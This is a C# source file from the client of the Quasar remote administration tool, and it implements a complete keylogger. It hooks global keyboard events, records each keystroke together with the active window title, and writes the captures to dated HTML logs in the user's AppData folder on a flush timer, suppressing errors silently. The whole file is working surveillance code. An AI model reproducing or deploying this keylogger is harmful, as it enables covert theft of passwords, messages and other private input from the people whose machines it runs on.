Quasar/Client/Core/Keylogger/Logger.cs

274 lines
9.2 KiB
C#

using System;
using System.Collections.Generic;
using System.IO;
using System.Text;
using System.Windows.Forms;
namespace xClient.Core.Keylogger
{
/// <summary>
/// Ties together the logic used to log keyboard input with the
/// logic used to manipulate the output
/// </summary>
public class Logger : IDisposable
{
public static Logger Instance;
public bool IsDisposed { get; private set; }
private StringBuilder _logFileBuffer;
private string _lastWindowTitle;
private readonly string _filePath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) +
"\\Logs\\";
private readonly System.Timers.Timer _timerFlush;
private List<Keys> _pressedKeys = new List<Keys>();
private List<char> _pressedKeyChars = new List<char>();
private IKeyboardMouseEvents _mEvents;
/// <summary>
/// Creates the logging class that provides keylogging functionality.hello?
/// </summary>
public Logger(double flushInterval)
{
Instance = this;
_lastWindowTitle = string.Empty;
WriteFile();
this._logFileBuffer = new StringBuilder();
this._timerFlush = new System.Timers.Timer { Interval = flushInterval };
this._timerFlush.Elapsed += this.timerFlush_Elapsed;
Unsubscribe();
Subscribe(Hook.GlobalEvents());
_timerFlush.Enabled = true;
_timerFlush.Start();
}
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
if (!IsDisposed)
{
if (disposing)
{
if (_timerFlush != null)
_timerFlush.Dispose();
}
Unsubscribe();
IsDisposed = true;
}
}
private void Subscribe(IKeyboardMouseEvents events)
{
_mEvents = events;
_mEvents.KeyDown += OnKeyDown;
_mEvents.KeyUp += OnKeyUp;
_mEvents.KeyPress += Logger_KeyPress;
}
private void Unsubscribe()
{
if (_mEvents == null) return;
_mEvents.KeyDown -= OnKeyDown;
_mEvents.KeyUp -= OnKeyUp;
_mEvents.KeyPress -= Logger_KeyPress;
_mEvents.Dispose();
}
private void OnKeyDown(object sender, KeyEventArgs e) //Called first
{
string activeWindowTitle = LoggerHelper.GetActiveWindowTitle(); //Get active thread window title
if (!string.IsNullOrEmpty(activeWindowTitle) && activeWindowTitle != _lastWindowTitle)
{
_lastWindowTitle = activeWindowTitle;
_logFileBuffer.Append(@"<p class=""h""><br><br>[<b>" + activeWindowTitle + "</b>]</p><br>");
}
if (ModifierKeysSet())
{
if (!_pressedKeys.Contains(e.KeyCode))
{
_pressedKeys.Add(e.KeyCode);
return;
}
}
// The keys below are excluded. If it is one of the keys below,
// the KeyPress event will handle these characters. If the keys
// are not any of those specified below, we can continue.
if (!(e.KeyCode >= Keys.A && e.KeyCode <= Keys.Z
|| e.KeyCode >= Keys.NumPad0 && e.KeyCode <= Keys.Divide
|| e.KeyCode >= Keys.D0 && e.KeyCode <= Keys.D9
|| e.KeyCode >= Keys.Oem1 && e.KeyCode <= Keys.OemClear
|| e.KeyCode >= Keys.LShiftKey && e.KeyCode <= Keys.RShiftKey
|| e.KeyCode == Keys.CapsLock
|| e.KeyCode == Keys.Space))
{
// The key was not part of the keys that we wish to filter, so
// be sure to prevent a situation where multiple keys are pressed.
if (!_pressedKeys.Contains(e.KeyCode))
{
_pressedKeys.Add(e.KeyCode);
}
}
}
//This method should be used to process all of our unicode characters
private void Logger_KeyPress(object sender, KeyPressEventArgs e) //Called second
{
if (ModifierKeysSet())
return;
if (!_pressedKeyChars.Contains(e.KeyChar))
{
_pressedKeyChars.Add(e.KeyChar);
_logFileBuffer.Append(LoggerHelper.Filter(e.KeyChar));
}
}
private void OnKeyUp(object sender, KeyEventArgs e) //Called third
{
_logFileBuffer.Append(HighlightSpecialKeys(_pressedKeys.ToArray()));
for (int i = 0; i < _pressedKeyChars.Count; i++)
_pressedKeyChars.RemoveAt(i);
}
private bool ModifierKeysSet()
{
return _pressedKeys.Contains(Keys.LControlKey)
|| _pressedKeys.Contains(Keys.RControlKey)
|| _pressedKeys.Contains(Keys.LMenu)
|| _pressedKeys.Contains(Keys.RMenu)
|| _pressedKeys.Contains(Keys.LWin)
|| _pressedKeys.Contains(Keys.RWin);
}
private string HighlightSpecialKeys(Keys[] keys)
{
if (keys.Length < 1) return string.Empty;
string[] names = new string[keys.Length];
for (int i = 0; i < keys.Length; i++)
{
names[i] = LoggerHelper.GetDisplayName(keys[i].ToString());
}
if (ModifierKeysSet())
{
StringBuilder specialKeys = new StringBuilder();
int validSpecialKeys = 0;
for (int i = 0; i < names.Length; i++)
{
_pressedKeys.Remove(keys[i]);
if (string.IsNullOrEmpty(names[i])) continue;
specialKeys.AppendFormat((validSpecialKeys == 0) ? @"<p class=""h"">[{0}" : " + {0}", names[i]);
validSpecialKeys++;
}
// If there are items in the special keys string builder, give it an ending tag
if (validSpecialKeys > 0)
specialKeys.Append("]</p>");
return specialKeys.ToString();
}
StringBuilder normalKeys = new StringBuilder();
for (int i = 0; i < names.Length; i++)
{
_pressedKeys.Remove(keys[i]);
if (string.IsNullOrEmpty(names[i])) continue;
switch (names[i])
{
case "Return":
normalKeys.Append(@"<p class=""h"">[Enter]</p><br>");
break;
case "Escape":
normalKeys.Append(@"<p class=""h"">[Esc]</p>");
break;
default:
normalKeys.Append(@"<p class=""h"">[" + names[i] + "]</p>");
break;
}
}
return normalKeys.ToString();
}
private void timerFlush_Elapsed(object sender, System.Timers.ElapsedEventArgs e)
{
if (_logFileBuffer.Length > 0)
WriteFile();
}
private void WriteFile()
{
bool writeHeader = false;
string fileName = _filePath + DateTime.Now.ToString("MM-dd-yyyy");
try
{
if (!Directory.Exists(_filePath))
Directory.CreateDirectory(_filePath);
if (!File.Exists(fileName))
writeHeader = true;
using (FileStream fileStream = new FileStream(fileName, FileMode.Append, FileAccess.Write))
{
using (StreamWriter sw = new StreamWriter(fileStream))
{
try
{
if (writeHeader)
{
sw.WriteLine("<meta http-equiv='Content-Type' content='text/html; charset=utf-8' />Log created on " +
DateTime.Now.ToString("dd.MM.yyyy HH:mm") + "<br><br>");
// Write out our coloring scheme that will be used by the elements
// generated by the logger, and display paragaphs without line breaks
// h = Denotes highlighted text (blue color).
sw.WriteLine("<style>.h { color: 0000ff; display: inline; }</style>");
if (_logFileBuffer.Length > 0)
sw.Write(_logFileBuffer);
_lastWindowTitle = string.Empty;
}
else
sw.Write(_logFileBuffer);
}
catch
{
}
}
}
}
catch
{
}
_logFileBuffer = new StringBuilder();
}
}
}